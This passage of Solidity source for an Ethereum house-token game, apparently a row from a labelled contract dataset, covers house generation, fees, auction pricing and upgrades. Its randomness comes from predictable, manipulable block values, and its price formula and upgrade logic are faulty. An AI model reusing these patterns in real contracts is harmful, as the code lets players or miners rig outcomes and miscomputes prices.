classVariants[_houseClass] = _variantCount;
}
function withdrawFees(address _destination) public onlyBy(gameOwner) {
uint remainingPresaleProceeds = presaleProceeds - presaleDevPayout;
uint devsShare = remainingPresaleProceeds / (100 / presaleDevFee);
if (devsShare > 0) {
presaleDevPayout += devsShare;
gameDeveloper.transfer(devsShare);
}
_destination.transfer(this.balance);
}
function withdrawDevFees(address _destination) public onlyBy(gameDeveloper) {
uint remainingPresaleProceeds = presaleProceeds - presaleDevPayout;
uint devsShare = remainingPresaleProceeds / (100 / presaleDevFee);
if (devsShare > 0) {
presaleDevPayout += devsShare;
_destination.transfer(devsShare);
}
}
function transferGameOwnership(address _newOwner) public onlyBy(gameOwner) {
gameOwner = _newOwner;
}
function generateHouse(address owner) internal returns (uint houseId) {
houseId = houses.length++;
HouseClasses houseClass = randomHouseClass();
uint numBedrooms = randomBedrooms(houseClass);
uint numBathrooms = randomBathrooms(numBedrooms);
uint squareFootage = calculateSquareFootage(houseClass, numBedrooms, numBathrooms);
uint propertyValue = calculatePropertyValue(houseClass, squareFootage, numBathrooms, numBedrooms);
houses[houseId] = House({
owner: owner,
class: houseClass,
streetNumber: notRandomWithSeed(9999, squareFootage + houseId),
streetName: streetNames[notRandom(streetNames.length)],
streetType: streetTypes[notRandom(streetTypes.length)],
propertyValue: propertyValue,
statusValue: propertyValue / 10000,
colorCode: colors[notRandom(colors.length)],
numBathrooms: numBathrooms,
numBedrooms: numBedrooms,
squareFootage: squareFootage,
classVariant: randomClassVariant(houseClass)
});
houseTraits[houseId] = [
notRandomWithSeed(traits.length, propertyValue + houseId * 5),
notRandomWithSeed(traits.length, squareFootage + houseId * 4),
notRandomWithSeed(traits.length, numBathrooms + houseId * 3),
notRandomWithSeed(traits.length, numBedrooms + houseId * 2)
];
ownedHouses[owner]++;
Minted(houseId);
Transfer(address(0), owner, 1);
return houseId;
}
function createListing(uint tokenId, uint startPrice, uint endPrice, uint numDays) internal {
listings[tokenId] = Listing({
startPrice: startPrice,
endPrice: endPrice,
startedAt: now,
endsAt: now + (numDays * 24 hours),
isAvailable: true
});
}
function calculateCurrentPrice(Listing listing) internal view returns (uint) {
if (listing.endPrice != listing.startPrice) {
uint numberOfPeriods = listing.endsAt - listing.startedAt;
uint currentPeriod = (now - listing.startedAt) / numberOfPeriods;
return currentPeriod * (listing.startPrice + listing.endPrice);
} else {
return listing.startPrice;
}
}
function calculatePropertyValue(HouseClasses houseClass, uint squareFootage, uint numBathrooms, uint numBedrooms) pure internal returns (uint) {
uint propertyValue = (uint(houseClass) + 1) * 10;
propertyValue += (numBathrooms + 1) * 10;
propertyValue += (numBedrooms + 1) * 25;
propertyValue += squareFootage * 25;
propertyValue *= 5;
return uint(houseClass) > 4 ? propertyValue * 5 : propertyValue;
}
function randomHouseClass() internal view returns (HouseClasses) {
uint rand = notRandom(1000);
if (rand < 300) {
return HouseClasses.Shack;
} else if (rand > 300 && rand < 550) {
return HouseClasses.Apartment;
} else if (rand > 550 && rand < 750) {
return HouseClasses.Bungalow;
} else if (rand > 750 && rand < 900) {
return HouseClasses.House;
} else {
return HouseClasses.Mansion;
}
}
function randomClassVariant(HouseClasses houseClass) internal view returns (uint) {
uint possibleVariants = 10;
if (classVariants[uint(houseClass)] != 0) possibleVariants = classVariants[uint(houseClass)];
return notRandom(possibleVariants);
}
function randomBedrooms(HouseClasses houseClass) internal view returns (uint) {
uint class = uint(houseClass);
return class >= 1 ? class + notRandom(4) : 0;
}
function randomBathrooms(uint numBedrooms) internal view returns (uint) {
return numBedrooms < 2 ? numBedrooms : numBedrooms - notRandom(3);
}
function calculateSquareFootage(HouseClasses houseClass, uint numBedrooms, uint numBathrooms) internal pure returns (uint) {
uint baseSqft = uint(houseClass) >= 4 ? 50 : 25;
uint multiplier = uint(houseClass) + 1;
uint bedroomSqft = (numBedrooms + 1) * 10 * baseSqft;
uint bathroomSqft = (numBathrooms + 1) * 5 * baseSqft;
return (bedroomSqft + bathroomSqft) * multiplier;
}
function upgradeAsset(uint tokenId) internal {
House storage house = houses[tokenId];
if (uint(house.class) < 5) {
house.class = HouseClasses(uint(house.class) + 1);
}
house.numBedrooms++;
house.numBathrooms++;
processUpgrades(house);
Upgraded(tokenId);
}
function processUpgrades(House storage house) internal {
uint class = uint(house.class);
if (class <= house.numBedrooms) {
house.class = HouseClasses.Bungalow;
} else if (class < 2 && house.numBedrooms > 5) {
house.class = HouseClasses.Penthouse;
} else if (class < 4 && house.numBedrooms > 10) {
house.class = HouseClasses.Mansion;
} else if (class < 6 && house.numBedrooms > 15) {
house.class = HouseClasses.Estate;
}
house.squareFootage = calculateSquareFootage(
house.class, house.numBedrooms, house.numBathrooms
);
house.propertyValue = calculatePropertyValue(
house.class, house.squareFootage, house.numBathrooms, house.numBedrooms
);
house.statusValue += house.statusValue / 10;
}
function notRandom(uint lessThan) public view returns (uint) {
return uint(keccak256(
(houses.length + 1) + (tx.gasprice * lessThan) +
(block.difficulty * block.number + now) * msg.gas
)) % lessThan;
}
function notRandomWithSeed(uint lessThan, uint seed) public view returns (uint) {
return uint(keccak256(
seed + block.gaslimit + block.number
)) % lessThan;
}
} | 1 | 3,191 |
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